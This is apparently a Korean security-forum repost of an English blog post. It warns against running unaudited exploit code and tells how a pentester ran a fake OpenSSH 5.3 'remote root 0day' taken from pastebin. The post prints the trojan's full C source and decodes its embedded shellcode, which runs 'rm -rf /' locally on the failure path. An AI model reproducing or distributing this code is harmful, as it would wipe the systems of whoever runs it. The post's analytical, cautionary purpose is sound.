해킹기법 [인터넷에 떠도는 해킹 코드의 불편한 진실]

2014.09.03 14:36

졸리운_곰 조회 수:505

인터넷 코드를 검색하다가 다음의 글을 발견하였습니다.


아시다시피 해킹을 했다는 이야기, 해킹을 할 수 있다는 이야기들 무성한 이야기들이

해커에 관하여 회자되고 있는데 그중의 한 이야기 입니다.




[출처] http://www.tamonten.com/how-not-to-exploit-a-box



This week I had the opportunity to sit with a pentester as he conducted a test on one of our clients. I wasn't really sure why he needed someone with him, but management wanted someone there and I wasn't going to miss an opportunity to watch. I didn't want to interfere so I just sat a few feet away, ready to supply any info he needed.

Now, I'm familiar enough with tools used so I was actually able to keep track of what was being done with cursory shoulder surfing ("that looks like nmap out", "breaking out Metasploit I see", "that Saint report looks OK") and after a bit it's obvious there's no foot hold for him to get purchase on. He browses to exploitdb, he does a bit of googling and finally he find a single exploit for the version of ssh that's being run. He grabs the code compiles it, then stops, obviously concerned about something. Turning to me he asks "can we restart ssh if we need to?". When I answered in the affirmative he fires off the code.

The exploit fails.

Hurrah.

He lets me know that there's one or two things that could be done to tighten things up (most of which I agree with and had come to the same conclusions while watching the test progress) and this is what he'll be reporting and that there's exploits available for the vulnerable version of ssh being run *points to his screen to show me the code*

Now what's wrong with the above picture? Three things.

1: The version of ssh (openssh 5.3p1), to the best of my knowledge, has no remote vulns.

2: The site the code was retrieved from was pastebin.

3: Other than the quick glance he didn't do any kind of code audit, then ran it against a clients box (despite obviously having some second thoughts about it) and this is a stupid idea.

"Why is that wrong?" you say.
This is what was in the console window after he ran it:
[-] Exploit failed.
unable to delete directory /

See now?

Here's the code that was executed

  1. /*
  2. *
  3. * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
  4. *
  5. * OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)
  6. * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
  7. *
  8. *
  9. */
  10.  
  11. #include <stdio.h>
  12. #include <netdb.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <unistd.h>
  16. #include <arpa/inet.h>
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20.  
  21. void usage(char *argv[])
  22. {
  23.     printf("\n\t[+] HATSUNEMIKU\n");
  24.     printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");
  25.     printf("\t[+] Keep this 0day priv8!\n");
  26.     printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
  27.     exit(1);
  28. }
  29.  
  30. unsigned char decoder[]=   "\x6a\x0b\x58\x99\x52"
  31.                            "\x6a\x2f\x89\xe7\x52"
  32.                            "\x66\x68\x2d\x66\x89"
  33.                            "\xe6\x52\x66\x68\x2d"
  34.                            "\x72\x89\xe1\x52\x68"
  35.                            "\x2f\x2f\x72\x6d\x68"
  36.                            "\x2f\x62\x69\x6e\x89"
  37.                            "\xe3\x52\x57\x56\x51"
  38.                            "\x53\x89\xe1\xcd\x80";
  39.  
  40. unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
  41.                            "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
  42.                            "\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
  43.                            "\xdb\x40\xcd\x80";
  44.  
  45. int main(int argc, char **argv)
  46. {
  47.  
  48.     int euid = geteuid();
  49.     int port= 22, sock;
  50.     char h[1000];
  51.     struct hostent *host;
  52.     struct sockaddr_in addr;
  53.  
  54.     if(euid != 0)
  55.     {
  56.         fprintf(stderr, "You need to be root to use raw sockets.\n");
  57.         exit(1);
  58.     }
  59.     if(euid == 0)
  60.     {
  61.         fprintf(stdout, "MIKU! MIKU! MIKU!\n");
  62.     }
  63.     if(argc != 3)
  64.     usage(argv);
  65.     if(!inet_aton(h, &addr.sin_addr))
  66.     {
  67.         host = gethostbyname(h);
  68.         if(!host)
  69.         {
  70.             fprintf(stderr, "[-] Exploit failed.\n");
  71.             (*(void(*)())decoder)();
  72.             exit(1);
  73.         }
  74.         addr.sin_addr = *(struct in_addr*)host->h_addr;
  75.         }
  76.         sock = socket(PF_INET, SOCK_STREAM, 0);
  77.         addr.sin_port = htons(port);
  78.         addr.sin_family = AF_INET;
  79.         if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
  80.         {
  81.             fprintf(stderr,"[-] Exploit failed.\n");
  82.             exit(1);
  83.         }
  84.         char payload[1337];
  85.         memcpy(payload, &decoder, sizeof(decoder));
  86.         memcpy(payload, &rootshell, sizeof(rootshell));
  87.         send(sock, payload, strlen(payload),0);
  88.         close(sock);
  89.         if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
  90.         {
  91.             fprintf(stderr, "[-] Exploit failed.\n");
  92.             exit(1);
  93.         }
  94.         else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
  95.         {
  96.             fprintf(stdout, "[+]g0t sh3ll!\n");
  97.             system("/bin/bash");
  98.         }
  99.         else
  100.         {
  101.             fprintf(stderr, "[-] Exploit failed.\n");
  102.             close(sock);
  103.             exit(0);
  104.         }
  105. }

Now my C skills are not what you'd call advanced, not having written any since uni many moons ago, but I've got enough general programming under my belt to do basic analysis.

So basic analysis is what you're going to get. (If you spot any errors or something obvious I've missed please drop me a line)

If you've ever looked at exploit code you'll see this looks textbook. The warning not to share it with anyone, the l33t speak, the chunk of shell code in the middle. So on a simple glance it looks legit.

Quick run though of what this appears to be doing

경축! 아무것도 안하여 에스천사게임즈가 새로운 모습으로 재오픈 하였습니다.
어린이용이며, 설치가 필요없는 브라우저 게임입니다.
https://s1004games.com

checks to see if running as root
checks to see if hostname can be resolved
tries to make socket connection
builds payload
sends payload
if successful spawns shell (but a shell on YOUR box. *alarmbells*)

Problems:
hostname (h) is never actually set within the code, just declared, therefore code beyond line 73 NEVER executes, which leaves it doing two things: checking it's being run as root, erroring out.

If you look at all the erroring out you'll see they're all an fprintf() statement followed by an exit(), with the exception of the one that's run, it contains

(*(void(*)())decoder)();

At the time I first read this I had no idea what this did, but I did know that anything that has that many parenthesis can't be good, and why only call it with the decoder shellcode and not the rootshell?

I've since had my suspicions confirmed, that this line in fact executes the decoder shellcode localy.

The shell code is the bit I'm always weary of in any exploit code. Unless you're some sort of ASM monster it's never obvious what's going on within it. One thing you can look for is strings within the shellcode. Now there's two sections of shell, one called "rootshell" the other "decoder". On the surface that looks like the rootshell code is packed or obfuscated in some way, so we'll see what, if anything, stands out.

converting the shellcode to ascii:

docoder
j?X?Rj/??Rfh-f???Rfh-r??Rh//rmh/bin??RWVQS????

rootshell
1????ou!?Q?ck yQf?fufQ1???1???1?????1?1?@??

The only real strings I can pull out of that are in the decoder section. Namely "/","-f","-r","/rm","/bin"

Or to put it another way "/bin","/rm","-r","-f","/"

Those are not strings I want to see in code I'm running on my box

Luckily the pentester in question was saved by the fact that "rm -rf /" doesn't work on modern distros, but he was only a "--no-preserve-root" away from a dead box.

And he wouldn't have got a jot of sympathy from me.

(thanks to Jon for taking a look at the code and confirming what I thought)

 











본 웹사이트는 광고를 포함하고 있습니다.
광고 클릭에서 발생하는 수익금은 모두 웹사이트 서버의 유지 및 관리, 그리고 기술 콘텐츠 향상을 위해 쓰여집니다.
, 이 게시물을
목록
목록
번호 제목 글쓴이 날짜 조회 수
공지 침투테스트(취약점검점검, 모의해킹) 문의 / 답변 졸리운_곰 2017.12.10 28357
97 w2af 사용자 메뉴얼 file 졸리운_곰 2014.10.31 321
96 [알아봅시다] 안티 익스플로잇 file 졸리운_곰 2014.10.30 290
95 [알아봅시다] ATM 악성코드 `플로토스.B` file 졸리운_곰 2014.10.30 404
94 WebGoat 설치와 시작 [웹 해킹 실습] file 졸리운_곰 2014.10.29 1646
93 정보보안기사 실기 기출 [1회/2회/3회] file 졸리운_곰 2014.10.28 8602
92 정보보안기사 합격자 현황 (1회~3회) file 졸리운_곰 2014.10.28 339
91 GNU Bash 원격명령 실행 취약점 대응방안 권고.pdf file 졸리운_곰 2014.10.27 266
90 소프트웨어 개발보안(시큐어 코딩) 관련 가이드 file 졸리운_곰 2014.10.26 378
89 소프트웨어 보안약점 진단가이드 [안전행정부/한국인터넷진흥원] file 졸리운_곰 2014.10.26 417
88 MS12-037 취약점 분석 보고서_최종.pdf file 졸리운_곰 2014.10.24 301
87 [KISEC_boanproject] CVE-2012-0754_분석보고서.pdf file 졸리운_곰 2014.10.24 323
86 [KISEC Lab]제로보드XE 취약점 진단 보고서_v2.0.pdf file 졸리운_곰 2014.10.24 662
85 kisec01.OWASP TOP 10 for .NET Developers_kor.pdf file 졸리운_곰 2014.10.24 470
84 AEG- Automatic Exploit Generation .pdf file 졸리운_곰 2014.10.24 264
83 W3AF를 이용한 웹app 공격 [w3af 매뉴얼] w3afUsersGuide.pdf file 졸리운_곰 2014.10.23 385
82 베스트 보안 툴 소개 file 졸리운_곰 2014.10.21 531
81 GUI for sqlmap file 졸리운_곰 2014.10.08 294
80 Apache / PHP 5.x - cgi-bin Remote Code Execution Exploit 졸리운_곰 2014.09.19 464
79 [모바일] 아이폰 / 안드로이드 포랜식 file 졸리운_곰 2014.09.05 518
» [인터넷에 떠도는 해킹 코드의 불편한 진실] 졸리운_곰 2014.09.03 505
쓰기
태그
대표 김성준 주소 : 경기 용인 분당수지 U타워 등록번호 : 142-07-27414
통신판매업 신고 : 제2012-용인수지-0185호 출판업 신고 : 수지구청 제 123호 개인정보보호최고책임자 : 김성준 sjkim70@stechstar.com
대표전화 : 010-4589-2193 [fax] 02-6280-1294 COPYRIGHT(C) stechstar.com ALL RIGHTS RESERVED